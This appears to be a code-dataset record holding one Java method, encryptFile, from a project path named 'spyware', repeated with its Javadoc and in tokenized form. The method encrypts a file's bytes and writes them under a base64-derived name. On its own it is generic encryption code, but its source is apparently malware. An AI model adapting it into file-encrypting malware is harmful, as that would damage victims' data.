spyware/src/FSManager.java
private void encryptFile(File file, Cipher cipher, SecretKey secretKey) throws Exception {
		byte[] bytes = Files.readAllBytes(file.toPath());
		cipher.init(Cipher.ENCRYPT_MODE, secretKey);
		byte[] bytesEncrypted = cipher.doFinal(bytes);

		String filenameBase64 = getFilenameFromBase64(file, true);

		File fileEncrypted = new File(file.getParent(), filenameBase64);

		FileUtils.writeByteArrayToFile(fileEncrypted, bytesEncrypted);
	}
/**
	 * Encrypt a file with a cipher and a key.
	 *
	 * @param file
	 * @param cipher
	 * @param secretKey
	 * @throws Exception
	 */
Encrypt a file with a cipher and a key.
Encrypt a file with a cipher and a key .
private void encryptFile(File file, Cipher cipher, SecretKey secretKey) throws Exception {
		byte[] bytes = Files.readAllBytes(file.toPath());
		cipher.init(Cipher.ENCRYPT_MODE, secretKey);
		byte[] bytesEncrypted = cipher.doFinal(bytes);
		String filenameBase64 = getFilenameFromBase64(file, true);
		File fileEncrypted = new File(file.getParent(), filenameBase64);
		FileUtils.writeByteArrayToFile(fileEncrypted, bytesEncrypted);
	}
private void encryptFile ( File file , Cipher cipher , SecretKey secretKey ) throws Exception { byte [ ] bytes = Files . readAllBytes ( file . toPath ( ) ) ; cipher . init ( Cipher . ENCRYPT_MODE , secretKey ) ; byte [ ] bytesEncrypted = cipher . doFinal ( bytes ) ; String filenameBase64 = getFilenameFromBase64 ( file , true ) ; File fileEncrypted = new File ( file . getParent ( ) , filenameBase64 ) ; FileUtils . writeByteArrayToFile ( fileEncrypted , bytesEncrypted ) ; }
Encrypt a file with a cipher and a key.
Encrypt a file with a cipher and a key .